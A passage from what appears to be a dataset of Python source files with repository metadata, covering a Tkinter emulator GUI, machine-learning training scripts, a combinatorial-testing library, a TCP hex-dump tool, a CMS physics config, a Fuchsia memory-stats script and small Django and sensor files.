Button(frame,text="Cycle",command=lambda : emu.cycle()).grid(row=4,column=0)
Button(frame,text="Instr",command = lambda:emu.instr()).grid(row=5,column=0)
autobutton = Button(frame,text="Auto",command=lambda : emu.auto_start())
autobutton.grid(row=6,column=0)
Button(frame,text="Stop",command=lambda : emu.stop()).grid(row=7,column=0)
Button(frame,text="Exit",command=tk.destroy, foreground='red').grid(row=5,column=1)
Button(frame,text="LOAD",command=loadfile, foreground='blue').grid(row=6,column=1)
Button(frame,text="Help",command=emuhelp, foreground='green').grid(row=7,column=1)
tk.mainloop
def gui():
tk=Tk()
top = Frame(tk, relief='solid')
tk.title("Demos")
top.grid()
Button(top,text="MU0",command=lambda: emulate(0,20),
anchor='center').grid(row=2,column=0,pady=10)
Button(top,text="Binary & hexadecimal arithmetic",command=lambda:displaysum(1),
anchor='center').grid(row=1,column=0, columnspan=2,pady=10,padx=10)
Button(top,text="Exit",command=tk.destroy, foreground='red',
anchor='center').grid(row=2,column=1)
tk.mainloop()
gui()
__author__="tomcl"
__date__ ="$29-Jun-2010 20:41:03$"
| [
"[email protected]"
] | |
0b3838fc6a2f8b48f5289ef236201a30283de915 | 685571e5c12fb2bef9dcbe392b614fbbe1b68cd0 | /cnn_1.py | b6cd80ce2bbe84b2410e40628f2cc383946a739d | [] | no_license | jaydeepchakraborty/Py_McLearning | 5751ce028b26fb8826ba1f40723cc72e64a4837a | 58f65e6d439a7b1d5d63f0a1c47255d1eaa824c8 | refs/heads/master | 2020-12-02T21:09:25.980734 | 2018-01-08T07:10:32 | 2018-01-08T07:10:32 | 96,262,267 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,228 | py | #Convolution Neural Network with mnist data using tensorflow
#We're going to be working first with the MNIST dataset, which is a dataset that contains 60,000 training samples
#and 10,000 testing samples of hand-written and labeled digits, 0 through 9, so ten total "classes."
#The MNIST dataset has the images, which we'll be working with as purely black and white, thresholded, images,
#of size 28 x 28, or 784 pixels total. Our features will be the pixel values for each pixel, thresholded.
#Either the pixel is "blank" (nothing there, a 0), or there is something there (1).
import tensorflow as tf
from tensorflow.examples.tutorials.mnist import input_data
mnist = input_data.read_data_sets("/tmp/data/", one_hot=True)
n_classes = 10
batch_size = 100#
x = tf.placeholder('float',[None,28*28])
y = tf.placeholder('float')
keep_rate = 0.95
keep_prob = tf.placeholder(tf.float32)
def conv2d(x,W):
return tf.nn.conv2d(x, W, strides=[1,1,1,1], padding="SAME")
def maxpool2d(x):
return tf.nn.max_pool(x, ksize=[1,2,2,1], strides=[1,2,2,1], padding="SAME")
def convolutional_neural_network(data):
weights = {'W_conv1':tf.Variable(tf.random_normal([5,5,1,32])),
'W_conv2':tf.Variable(tf.random_normal([5,5,32,64])),
'W_fc':tf.Variable(tf.random_normal([7*7*64,1024])),
'out':tf.Variable(tf.random_normal([1024,n_classes]))}
biases = {'b_conv1':tf.Variable(tf.random_normal([32])),
'b_conv2':tf.Variable(tf.random_normal([64])),
'b_fc':tf.Variable(tf.random_normal([1024])),
'out':tf.Variable(tf.random_normal([n_classes]))}
x = tf.reshape(data, shape=[-1, 28, 28, 1])
conv1 = tf.nn.relu(conv2d(x, weights['W_conv1'])+ biases['b_conv1'])
conv1 = maxpool2d(conv1)
conv2 = tf.nn.relu(conv2d(conv1, weights['W_conv2'])+ biases['b_conv2'])
conv2 = maxpool2d(conv2)
fc = tf.reshape(conv2,[-1, 7*7*64])
fc = tf.nn.relu(tf.matmul(fc, weights['W_fc']) + biases['b_fc'])
output = tf.add(tf.matmul(fc, weights['out']) , biases['out'])
return output
def train_neural_network(x):
prediction = convolutional_neural_network(x)
cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits = prediction,labels = y))
optimizer = tf.train.AdamOptimizer().minimize(cost)#learning_rate = 0.001
hm_epochs = 5
with tf.Session() as sess:
sess.run(tf.initialize_all_variables())
for epoch in range(hm_epochs):
epoch_loss = 0;
for _ in range(int(mnist.train.num_examples/batch_size)):
epoch_x, epoch_y = mnist.train.next_batch(batch_size)
_, c = sess.run([optimizer,cost], feed_dict = {x : epoch_x, y : epoch_y})#c is cost
epoch_loss += c
print('Epoch', epoch, 'completed out of', hm_epochs, 'loss', epoch_loss)
correct = tf.equal(tf.argmax(prediction, 1), tf.argmax(y,1))
accuracy = tf.reduce_mean(tf.cast(correct, 'float'))
print('Accuracy:', accuracy.eval({x:mnist.test.images, y:mnist.test.labels}))
train_neural_network(x)
| [
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] | |
d9453d1f1f4b52645622c6d70952c21222a7896a | 695ea8a0ffb26f21a50fe815df6571203bae8f25 | /categories_classification/trainer.py | d828705a6f3d1a7b57abc09332834d693060aae5 | [] | no_license | scale-itx/mrkl-technical-test | 528f025f1a2589874f9efa5a1d3f093e15592fec | 758e2b45154f4641de1e9a5b879ad84d04528dfb | refs/heads/master | 2023-08-31T13:50:08.112313 | 2021-10-20T18:10:28 | 2021-10-20T18:10:28 | 419,386,827 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,791 | py | import logging
from typing import List
from mlflow import set_experiment, start_run, log_params
from mlflow.models import infer_signature
from mlflow.sklearn import eval_and_log_metrics, log_model
from pandas import read_csv
from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import train_test_split
from categories_classification.paths import get_client_train_data_uri
LOGGER = logging.getLogger(__name__)
LABEL_COLUMN = "category_id"
SEED = 1234
TEST_SET_SIZE = 0.1
def train_model(client_id: str, features: List[str], model_params: dict, training_date: str):
"""
Train a Random Frest model, evaluate it and save it to data directory.
:param client_id: id of client.
:param features: input features to be used in training.
:param model_params: model params. Must be with in RandomForestClassifier parameters.
:param training_date: date of training
:return:
"""
# Build input data path based on client_id.
input_data_uri = get_client_train_data_uri(client_id=client_id)
# Load data as csv
input_data = read_csv(input_data_uri)
LOGGER.info("Loaded input data with shape %s", input_data.shape)
# Split data into train set and test set
x_train, x_test, y_train, y_test = train_test_split(input_data[features], input_data[LABEL_COLUMN],
test_size=TEST_SET_SIZE,
random_state=SEED)
# Log size of data
LOGGER.info("Training on %s examples", len(x_train))
LOGGER.info("Testing on %s examples", len(x_test))
set_experiment(f'ProductCategoriesClassification_{client_id}')
tags = {
"client_id": client_id,
}
with start_run(run_name=f"training_{training_date}", tags=tags):
# Create a RandomForestClassifier model and fit it on training set.
# Set verbose to 2 to follow training status.
model_kwargs = {"random_state": SEED}
if model_params:
model_kwargs.update(model_params)
model = RandomForestClassifier(**model_kwargs, verbose=2)
model.fit(x_train, y_train)
eval_and_log_metrics(model, x_train, y_train, prefix="train_")
# Log parameters and metrics using the MLflow APIs
log_params(model_params)
# Score model on test set and log accuracy
eval_and_log_metrics(model, x_test, y_test, prefix="val_")
model_signature = infer_signature(x_test, y_test)
# Build a model path, fow now it's fixed and based on client_id
# Dump model with joblib
log_model(sk_model=model,
artifact_path="best_model",
signature=model_signature,
registered_model_name=f"{client_id}_model")
| [
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] | |
a73ec89066471c1b9fb1ee94323c8d7a23ce0f5b | 53a909b23c294b9887a1e50206ab0dc19b3c2cf0 | /comb_testing/__init__.py | 85f88e321d2964c4e0eabb429704cb6e7e549674 | [
"MIT"
] | permissive | agragland/comb-test-library | 498286a0823d2208e41e5de821a99318e1358075 | aa4c7c956b5aec93f6b60ec7d3543f2cc51f7e10 | refs/heads/master | 2023-05-28T05:39:04.489258 | 2021-06-08T19:01:21 | 2021-06-08T19:01:21 | 368,337,719 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,814 | py | # __init__.py
# Version of the combinatorial_tests package
__version__ = "0.0.4"
from comb_testing.tuple_set import TupleSet
from comb_testing.test_suite import TestSuite
from comb_testing.biased_algorithm import generate_biased_suite
import re
# function to generate a covering array based on input
# input follows formatting "Input as follows - \"#Levels^#Factors\" -
# put a space between each for multi-level covering:"
def generate_covering_array(re_input):
match_list = re.findall("(\\d+)\\^(\\d+)", re_input)
cover_arr = []
lvl_offset = 0
for match in match_list:
levels = int(match[0])
factors = int(match[1])
for i in range(factors):
row = []
for j in range(levels):
row.append(j + lvl_offset)
lvl_offset += levels
cover_arr.append(row)
return cover_arr
# function to take a test suite and output contents to file
def test_suite_output(suite):
file_out = open("aetg_output.txt", "w")
file_out.write(str(len(suite)) + "\n\n")
for candidate in suite:
file_out.write(str(candidate) + "\n")
file_out.close()
def check_valid_input(new_list):
uniq = set()
for fct in new_list:
if len(fct) == 0:
return False
else:
for lvl in fct:
if lvl in uniq:
return False
else:
uniq.add(lvl)
return True
# function to run the greedy version of the combinatorial testing algorithm
# new_list is a 2D list where the outer layer represents the factors and the inner layer represents the levels
# strength represents the n of n-way coverage
def greedy_algorithm(new_list, strength, flag):
if strength > len(new_list):
print("Error: Coverage strength greater than factor count")
return []
if not check_valid_input(new_list):
print("Error: Input list is invalid")
return
tuples = TupleSet(new_list, strength)
tuples.n_way_recursion(0, (), 0)
tuples.update_tuples()
# generate a test suite
suite = TestSuite(tuples)
if flag == 1:
return suite.generate_greedy_suite_size()
elif flag == 2:
tuples.generate_combos()
return suite.generate_greedy_suite_speed()
# function to run the biased version of the combinatorial testing algorithm
# new_list and benefit_list 2D lists of equal size and depth which map a "benefit" value to each value in the main list
# exclusions is a list which contains pairs to be excluded from final test cases
def biased_algorithm(new_list, benefit_list, exclusions):
if not check_valid_input(new_list):
print("Error: Input list is invalid")
return
return generate_biased_suite(new_list, benefit_list, exclusions)
| [
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] | |
8897697c41d0fe30ec8e32f69914a896a7eb46c8 | 522a7890df5f313e967ebab336498bebad95a2af | /netdump.py | e269ea0e7dc972a82248b1c1b8e01a9da4423143 | [] | no_license | igalashi/udpreg | 5055b99f5afcef6ee92da88f247dfcd7b29f948f | bf6cbbfb9d1767f7a98a0a12ba6d1b5518cf338e | refs/heads/main | 2023-02-25T19:52:12.776679 | 2021-01-28T05:22:07 | 2021-01-28T05:22:07 | 333,650,246 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,090 | py | #!/usr/bin/env python3
import socket
import struct
import sys
import datetime
HOST = '192.168.10.55'
PORT = 24
SIZE = 1024*256
F_DUMP = True
F_TDUMP = False
def read_net(host, port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
except socket.error as e:
print("Connection error", e)
s.close()
return
nread = 0
while True:
data = s.recv(SIZE)
#print('Len:', len(data))
if len(data) == 0:
break
if F_DUMP:
udata = struct.unpack(str(len(data))+'B', data)
for i in range(0, len(udata), 1):
if nread % 16 == 0:
print('\n{:06x} : '.format(nread), end='')
print('{:02x} '.format(udata[i]), end='')
nread = nread + 1
if F_TDUMP:
print(data)
sys.stdout.flush()
s.close()
def print_help():
print(args[0], '-h <host name> -p <port number>')
print(args[0], '-d : diable hex dump')
print(args[0], '-t : Text dump')
print(args[0], '-s <Buffer size>')
if __name__ == '__main__':
args = sys.argv
host_flag = False
port_flag = False
size_flag = False
for argv in args:
if argv == '--help':
print_help()
exit(0)
if argv == '-h':
host_flag = True
continue
if host_flag:
HOST = argv
host_flag = False
continue
if argv == '-p':
port_flag = True
continue
if port_flag:
PORT = argv
port_flag = False
continue
if argv == '-s':
size_flag = True
continue
if size_flag:
SIZE = argv
size_flag = False
continue
if argv == '-d':
F_DUMP = False
continue
if argv == '-t':
F_TDUMP = True
continue
print('Host:', HOST, 'Port:', PORT)
read_net(HOST, int(PORT))
| [
"[email protected]"
] | |
1ca298b1212fae9af4fecf4f5f7a6eb31cb1950a | 37c243e2f0aab70cbf38013d1d91bfc3a83f7972 | /pp7TeV/HeavyIonsAnalysis/JetAnalysis/python/jets/akVs7CaloJetSequence_pp_mc_bTag_cff.py | b03080540b815d5267838a1fc5a38e30923e284a | [] | no_license | maoyx/CMSWork | 82f37256833cbe4c60cb8df0b4eb68ceb12b65e7 | 501456f3f3e0f11e2f628b40e4d91e29668766d5 | refs/heads/master | 2021-01-01T18:47:55.157534 | 2015-03-12T03:47:15 | 2015-03-12T03:47:15 | 10,951,799 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,040 | py |
import FWCore.ParameterSet.Config as cms
from PhysicsTools.PatAlgos.patHeavyIonSequences_cff import *
from HeavyIonsAnalysis.JetAnalysis.inclusiveJetAnalyzer_cff import *
from HeavyIonsAnalysis.JetAnalysis.bTaggers_cff import *
from RecoJets.JetProducers.JetIDParams_cfi import *
akVs7Calomatch = patJetGenJetMatch.clone(
src = cms.InputTag("akVs7CaloJets"),
matched = cms.InputTag("ak7HiGenJets")
)
akVs7Caloparton = patJetPartonMatch.clone(src = cms.InputTag("akVs7CaloJets")
)
akVs7Calocorr = patJetCorrFactors.clone(
useNPV = False,
# primaryVertices = cms.InputTag("hiSelectedVertex"),
levels = cms.vstring('L2Relative','L3Absolute'),
src = cms.InputTag("akVs7CaloJets"),
payload = "AKVs7Calo_HI"
)
akVs7CaloJetID= cms.EDProducer('JetIDProducer', JetIDParams, src = cms.InputTag('akVs7CaloJets'))
akVs7Caloclean = heavyIonCleanedGenJets.clone(src = cms.InputTag('ak7HiGenJets'))
akVs7CalobTagger = bTaggers("akVs7Calo")
#create objects locally since they dont load properly otherwise
akVs7Calomatch = akVs7CalobTagger.match
akVs7Caloparton = akVs7CalobTagger.parton
akVs7CaloPatJetFlavourAssociation = akVs7CalobTagger.PatJetFlavourAssociation
akVs7CaloJetTracksAssociatorAtVertex = akVs7CalobTagger.JetTracksAssociatorAtVertex
akVs7CaloSimpleSecondaryVertexHighEffBJetTags = akVs7CalobTagger.SimpleSecondaryVertexHighEffBJetTags
akVs7CaloSimpleSecondaryVertexHighPurBJetTags = akVs7CalobTagger.SimpleSecondaryVertexHighPurBJetTags
akVs7CaloCombinedSecondaryVertexBJetTags = akVs7CalobTagger.CombinedSecondaryVertexBJetTags
akVs7CaloCombinedSecondaryVertexMVABJetTags = akVs7CalobTagger.CombinedSecondaryVertexMVABJetTags
akVs7CaloJetBProbabilityBJetTags = akVs7CalobTagger.JetBProbabilityBJetTags
akVs7CaloSoftMuonByPtBJetTags = akVs7CalobTagger.SoftMuonByPtBJetTags
akVs7CaloSoftMuonByIP3dBJetTags = akVs7CalobTagger.SoftMuonByIP3dBJetTags
akVs7CaloTrackCountingHighEffBJetTags = akVs7CalobTagger.TrackCountingHighEffBJetTags
akVs7CaloTrackCountingHighPurBJetTags = akVs7CalobTagger.TrackCountingHighPurBJetTags
akVs7CaloPatJetPartonAssociation = akVs7CalobTagger.PatJetPartonAssociation
akVs7CaloImpactParameterTagInfos = akVs7CalobTagger.ImpactParameterTagInfos
akVs7CaloJetProbabilityBJetTags = akVs7CalobTagger.JetProbabilityBJetTags
akVs7CaloPositiveOnlyJetProbabilityJetTags = akVs7CalobTagger.PositiveOnlyJetProbabilityJetTags
akVs7CaloNegativeOnlyJetProbabilityJetTags = akVs7CalobTagger.NegativeOnlyJetProbabilityJetTags
akVs7CaloNegativeTrackCountingHighEffJetTags = akVs7CalobTagger.NegativeTrackCountingHighEffJetTags
akVs7CaloNegativeTrackCountingHighPur = akVs7CalobTagger.NegativeTrackCountingHighPur
akVs7CaloNegativeOnlyJetBProbabilityJetTags = akVs7CalobTagger.NegativeOnlyJetBProbabilityJetTags
akVs7CaloPositiveOnlyJetBProbabilityJetTags = akVs7CalobTagger.PositiveOnlyJetBProbabilityJetTags
akVs7CaloSecondaryVertexTagInfos = akVs7CalobTagger.SecondaryVertexTagInfos
akVs7CaloSimpleSecondaryVertexHighEffBJetTags = akVs7CalobTagger.SimpleSecondaryVertexHighEffBJetTags
akVs7CaloSimpleSecondaryVertexHighPurBJetTags = akVs7CalobTagger.SimpleSecondaryVertexHighPurBJetTags
akVs7CaloCombinedSecondaryVertexBJetTags = akVs7CalobTagger.CombinedSecondaryVertexBJetTags
akVs7CaloCombinedSecondaryVertexMVABJetTags = akVs7CalobTagger.CombinedSecondaryVertexMVABJetTags
akVs7CaloSecondaryVertexNegativeTagInfos = akVs7CalobTagger.SecondaryVertexNegativeTagInfos
akVs7CaloSimpleSecondaryVertexNegativeHighEffBJetTags = akVs7CalobTagger.SimpleSecondaryVertexNegativeHighEffBJetTags
akVs7CaloSimpleSecondaryVertexNegativeHighPurBJetTags = akVs7CalobTagger.SimpleSecondaryVertexNegativeHighPurBJetTags
akVs7CaloCombinedSecondaryVertexNegativeBJetTags = akVs7CalobTagger.CombinedSecondaryVertexNegativeBJetTags
akVs7CaloCombinedSecondaryVertexPositiveBJetTags = akVs7CalobTagger.CombinedSecondaryVertexPositiveBJetTags
akVs7CaloSoftMuonTagInfos = akVs7CalobTagger.SoftMuonTagInfos
akVs7CaloSoftMuonBJetTags = akVs7CalobTagger.SoftMuonBJetTags
akVs7CaloSoftMuonByIP3dBJetTags = akVs7CalobTagger.SoftMuonByIP3dBJetTags
akVs7CaloSoftMuonByPtBJetTags = akVs7CalobTagger.SoftMuonByPtBJetTags
akVs7CaloNegativeSoftMuonByPtBJetTags = akVs7CalobTagger.NegativeSoftMuonByPtBJetTags
akVs7CaloPositiveSoftMuonByPtBJetTags = akVs7CalobTagger.PositiveSoftMuonByPtBJetTags
akVs7CaloPatJetFlavourId = cms.Sequence(akVs7CaloPatJetPartonAssociation*akVs7CaloPatJetFlavourAssociation)
akVs7CaloJetBtaggingIP = cms.Sequence(akVs7CaloImpactParameterTagInfos *
(akVs7CaloTrackCountingHighEffBJetTags +
akVs7CaloTrackCountingHighPurBJetTags +
akVs7CaloJetProbabilityBJetTags +
akVs7CaloJetBProbabilityBJetTags +
akVs7CaloPositiveOnlyJetProbabilityJetTags +
akVs7CaloNegativeOnlyJetProbabilityJetTags +
akVs7CaloNegativeTrackCountingHighEffJetTags +
akVs7CaloNegativeTrackCountingHighPur +
akVs7CaloNegativeOnlyJetBProbabilityJetTags +
akVs7CaloPositiveOnlyJetBProbabilityJetTags
)
)
akVs7CaloJetBtaggingSV = cms.Sequence(akVs7CaloImpactParameterTagInfos
*
akVs7CaloSecondaryVertexTagInfos
* (akVs7CaloSimpleSecondaryVertexHighEffBJetTags
+
akVs7CaloSimpleSecondaryVertexHighPurBJetTags
+
akVs7CaloCombinedSecondaryVertexBJetTags
+
akVs7CaloCombinedSecondaryVertexMVABJetTags
)
)
akVs7CaloJetBtaggingNegSV = cms.Sequence(akVs7CaloImpactParameterTagInfos
*
akVs7CaloSecondaryVertexNegativeTagInfos
* (akVs7CaloSimpleSecondaryVertexNegativeHighEffBJetTags
+
akVs7CaloSimpleSecondaryVertexNegativeHighPurBJetTags
+
akVs7CaloCombinedSecondaryVertexNegativeBJetTags
+
akVs7CaloCombinedSecondaryVertexPositiveBJetTags
)
)
akVs7CaloJetBtaggingMu = cms.Sequence(akVs7CaloSoftMuonTagInfos * (akVs7CaloSoftMuonBJetTags
+
akVs7CaloSoftMuonByIP3dBJetTags
+
akVs7CaloSoftMuonByPtBJetTags
+
akVs7CaloNegativeSoftMuonByPtBJetTags
+
akVs7CaloPositiveSoftMuonByPtBJetTags
)
)
akVs7CaloJetBtagging = cms.Sequence(akVs7CaloJetBtaggingIP
*akVs7CaloJetBtaggingSV
*akVs7CaloJetBtaggingNegSV
*akVs7CaloJetBtaggingMu
)
akVs7CalopatJetsWithBtagging = patJets.clone(jetSource = cms.InputTag("akVs7CaloJets"),
genJetMatch = cms.InputTag("akVs7Calomatch"),
genPartonMatch = cms.InputTag("akVs7Caloparton"),
jetCorrFactorsSource = cms.VInputTag(cms.InputTag("akVs7Calocorr")),
JetPartonMapSource = cms.InputTag("akVs7CaloPatJetFlavourAssociation"),
trackAssociationSource = cms.InputTag("akVs7CaloJetTracksAssociatorAtVertex"),
discriminatorSources = cms.VInputTag(cms.InputTag("akVs7CaloSimpleSecondaryVertexHighEffBJetTags"),
cms.InputTag("akVs7CaloSimpleSecondaryVertexHighPurBJetTags"),
cms.InputTag("akVs7CaloCombinedSecondaryVertexBJetTags"),
cms.InputTag("akVs7CaloCombinedSecondaryVertexMVABJetTags"),
cms.InputTag("akVs7CaloJetBProbabilityBJetTags"),
cms.InputTag("akVs7CaloJetProbabilityBJetTags"),
cms.InputTag("akVs7CaloSoftMuonByPtBJetTags"),
cms.InputTag("akVs7CaloSoftMuonByIP3dBJetTags"),
cms.InputTag("akVs7CaloTrackCountingHighEffBJetTags"),
cms.InputTag("akVs7CaloTrackCountingHighPurBJetTags"),
),
jetIDMap = cms.InputTag("akVs7CaloJetID"),
addBTagInfo = True,
addTagInfos = True,
addDiscriminators = True,
addAssociatedTracks = True,
addJetCharge = False,
addJetID = True,
getJetMCFlavour = True,
addGenPartonMatch = True,
addGenJetMatch = True,
embedGenJetMatch = True,
embedGenPartonMatch = True,
embedCaloTowers = False,
embedPFCandidates = True
)
akVs7CaloJetAnalyzer = inclusiveJetAnalyzer.clone(jetTag = cms.InputTag("akVs7CalopatJetsWithBtagging"),
genjetTag = 'ak7HiGenJets',
rParam = 0.7,
matchJets = cms.untracked.bool(False),
matchTag = 'patJetsWithBtagging',
pfCandidateLabel = cms.untracked.InputTag('particleFlow'),
trackTag = cms.InputTag("generalTracks"),
fillGenJets = True,
isMC = True,
genParticles = cms.untracked.InputTag("genParticles"),
eventInfoTag = cms.InputTag("generator"),
doLifeTimeTagging = cms.untracked.bool(True),
doLifeTimeTaggingExtras = cms.untracked.bool(True),
bTagJetName = cms.untracked.string("akVs7Calo"),
genPtMin = cms.untracked.double(15),
hltTrgResults = cms.untracked.string('TriggerResults::'+'HISIGNAL')
)
akVs7CaloJetSequence_mc = cms.Sequence(
akVs7Caloclean
*
akVs7Calomatch
*
akVs7Caloparton
*
akVs7Calocorr
*
akVs7CaloJetID
*
akVs7CaloPatJetFlavourId
*
akVs7CaloJetTracksAssociatorAtVertex
*
akVs7CaloJetBtagging
*
akVs7CalopatJetsWithBtagging
*
akVs7CaloJetAnalyzer
)
akVs7CaloJetSequence_data = cms.Sequence(akVs7Calocorr
*
akVs7CaloJetTracksAssociatorAtVertex
*
akVs7CaloJetBtagging
*
akVs7CalopatJetsWithBtagging
*
akVs7CaloJetAnalyzer
)
akVs7CaloJetSequence_jec = akVs7CaloJetSequence_mc
akVs7CaloJetSequence_mix = akVs7CaloJetSequence_mc
akVs7CaloJetSequence = cms.Sequence(akVs7CaloJetSequence_mc)
| [
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] | |
de10f4f519cf28b914e1a17447eb377a9d1e1217 | 1d5c13a2cf04595e443d1df19abb126b7c99e5fa | /dart/vmos.py | ff3821b9f2e46baf909af21d4297d61be4f34acf | [
"BSD-3-Clause"
] | permissive | jpcoding/scripts | 27b6cd099bd5d5eb9f9e8665423d9b2b2311352f | 69a1fcfac1783772482a89114aa31d226b4dbc18 | refs/heads/master | 2020-03-23T16:19:05.994716 | 2018-07-21T03:12:37 | 2018-07-21T03:56:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,949 | py | #!/usr/bin/env python
# Copyright 2018 The Fuchsia Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import argparse
import os
import paths
import subprocess
import sys
CATEGORIES = [
'dart-oldspace',
'dart-newspace',
'jemalloc-heap',
'pthread_t',
'magma_create_buffer',
'ScudoPrimary',
'ScudoSecondary',
'lib',
]
def FxSSH(address, command):
fx = os.path.join(paths.FUCHSIA_ROOT, 'scripts', 'fx')
cmd = [fx, 'ssh', address] + command
try:
result = subprocess.check_output(cmd, stderr=subprocess.STDOUT)
except subprocess.CalledProcessError as e:
print ("command failed: " + ' '.join(cmd) + "\n" +
"output: " + e.output)
return None
return result
def HumanToBytes(size_str):
last = size_str[-1]
KB = 1024
if last == 'B':
multiplier = 1
elif last == 'k':
multiplier = KB
elif last == 'M':
multiplier = KB * KB
elif last == 'G':
multiplier = KB * KB * KB
elif last == 'T':
multiplier = KB * KB * KB * KB
else:
raise Exception('Unknown multiplier ' + last)
return float(size_str[:-1]) * multiplier
def BytesToHuman(num, suffix='B'):
for unit in ['','Ki','Mi','Gi','Ti','Pi','Ei','Zi']:
if abs(num) < 1024.0:
return "%3.1f%s%s" % (num, unit, suffix)
num /= 1024.0
return "%.1f%s%s" % (num, 'Yi', suffix)
# The output of vmos is:
# rights koid parent #chld #map #shr size alloc name [app]
# on each line
def ParseVmos(vmos, matchers):
vmo_lines = vmos.strip().split('\n')
sizes = {}
koids = {}
for vmo in vmo_lines:
# 1: koid, 5: process sharing, 6: size, 7: alloc, 8: name [9: app]
data = vmo.split()
if len(data) < 9:
continue
name = data[8]
if len(data) >= 10:
name = name + ' ' + data[9]
try:
b = HumanToBytes(data[7])
except:
continue
koid = int(data[1])
if koid in koids:
continue
koids[koid] = True
sharing = int(data[5])
if sharing == 0:
continue
for matcher in matchers:
if matcher not in name:
continue
if matcher in sizes:
sizes[matcher] = sizes[matcher] + (b / sharing)
else:
sizes[matcher] = (b / sharing)
break
if 'total' in sizes:
sizes['total'] = sizes['total'] + (b / sharing)
else:
sizes['total'] = (b / sharing)
return sizes
def Main():
parser = argparse.ArgumentParser('Display stats about Dart VMOs')
parser.add_argument('--pid', '-p',
required=True,
help='pid of the target process.')
parser.add_argument('--address', '-a',
required=True,
help='ipv4 address of the target device')
args = parser.parse_args()
vmos = FxSSH(args.address, ['vmos', args.pid])
sizes = ParseVmos(vmos, CATEGORIES)
for k, v in sizes.iteritems():
print k + ", " + BytesToHuman(v)
return 0
if __name__ == '__main__':
sys.exit(Main())
| [
"[email protected]"
] | |
307d0bfe62ec0d51181f9de84c8387870411b771 | ce4f650cc3ba3da9fd421d9e1e086e712dda5a96 | /vdfvdfvdfv.py | c9bbfacd8191f9e849249a41a5ff93a11f79bd3f | [] | no_license | DanyloA/TESTREPO | b4de25f590565a67274d2f25cde22e1a1af233ff | b5235d1dbf4ec9eb3d24a9e461cd3984139d6896 | refs/heads/master | 2023-04-01T07:23:24.337157 | 2021-04-17T13:38:45 | 2021-04-17T13:38:45 | 356,624,684 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 92 | py | file = open('lol.txt', 'w')
file.write('Some useful data!\nSecond line here!')
file.close()
| [
"[email protected]"
] | |
4245c92fbca0f839ad73f193a2aadfd606996b90 | 6ea2ba5f290605a2bc713c8eb8e7ea7e2d8a2b2c | /polls/migrations/0014_auto_20191122_1231.py | 42e10542dbb258428ae2afd1ce6b2070dc124387 | [] | no_license | Assiya-Zhiyenbek/gloss1 | ea1e6cc3a8cdc95373fa301c9f4816f93baf90c7 | 1049cf40147a79ee62b3486a2b086fcac4d95a53 | refs/heads/master | 2022-03-30T17:35:33.536814 | 2020-04-23T05:00:50 | 2020-04-23T05:00:50 | 258,098,669 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 418 | py | # Generated by Django 2.2.4 on 2019-11-22 12:31
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('polls', '0013_auto_20191122_1230'),
]
operations = [
migrations.AlterField(
model_name='post',
name='videofile',
field=models.FileField(null=True, upload_to='posts/', verbose_name=''),
),
]
| [
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] | |
d35d7ccec024747e779e9543b7ac5c259d7d3cae | 760e84fc1ae36ccad2bf70bfac3d2ff18291b8ac | /gimbal/sensor/imu6050_defs.py | f12546e6e67a5627178eccd20659eb642bd53a4e | [] | no_license | dpm76/Gimbal | 43b11497221657848f41a6440945d0601b379e23 | 6803867b359db76a420b2cc46192e0c475e35e6b | refs/heads/master | 2022-09-27T23:33:58.402529 | 2022-08-27T10:06:09 | 2022-08-27T10:06:09 | 79,473,892 | 5 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,483 | py | PWR_MGM1 = 0x6b
PWR_MGM2 = 0x6c
GYRO_XOUT = 0x43
GYRO_YOUT = 0x45
GYRO_ZOUT = 0x47
ACC_XOUT = 0x3b
ACC_YOUT = 0x3d
ACC_ZOUT = 0x3f
SMPRT_DIV = 0x19
CONFIG=0x1a
GYRO_CONFIG = 0x1b
ACCEL_CONFIG = 0x1c
RESET=0b10000000
CLK_SEL_X = 1
# Accelerometer | Gyroscope
# F-sampling 1kHz |
# Bandwidth(Hz) | Delay(ms) | Bandwidth(Hz) | Delay (ms) | F-sampling (kHz)
# ----------------------------------------------------------------------------
DLPF_CFG_0 = 0 # 260 | 0.0 | 256 | 0.98 | 8
DLPF_CFG_1 = 1 # 184 | 2.0 | 188 | 1.9 | 1
DLPF_CFG_2 = 2 # 94 | 3.0 | 98 | 2.8 | 1
DLPF_CFG_3 = 3 # 44 | 4.9 | 42 | 4.8 | 1
DLPF_CFG_4 = 4 # 21 | 8.5 | 20 | 8.3 | 1
DLPF_CFG_5 = 5 # 10 | 13.8 | 10 | 13.4 | 1
DLPF_CFG_6 = 6 # 5 | 19.0 | 5 | 18.6 | 1
# ----------------------------------------------------------------------------
DLPF_CFG_7 = 7 # RESERVED | RESERVED | 8
GFS_250 = 0
GFS_500 = 0b00001000
GFS_1000 = 0b00010000
GFS_2000 = 0b00011000
AFS_2 = 0
AFS_4 = 0b00001000
AFS_8 = 0b00010000
AFS_16 = 0b00011000
| [
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] | |
a2331bda14ce89bd8a13fe6811035ed885a0350a | e4e21848276222fa42eef1e00593ebbf27cb67a3 | /documentation/apps.py | d3df6cf8164e567d9cdaa04b353a237ad3bb1a0a | [] | no_license | js-moreno/tsgtest-server | c094ef78ac6fa6b13f3d565d3b491885672128ec | fe2537fa2acdb331a63fc7eb7e44a33448a270bf | refs/heads/main | 2023-06-05T05:58:00.342626 | 2021-06-28T04:24:46 | 2021-06-28T04:24:46 | 380,318,874 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 203 | py | # Django
from django.apps import AppConfig
from django.utils.translation import gettext_lazy as _
class DocumentationConfig(AppConfig):
name = "documentation"
verbose_name = _("Documentation")
| [
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] | |
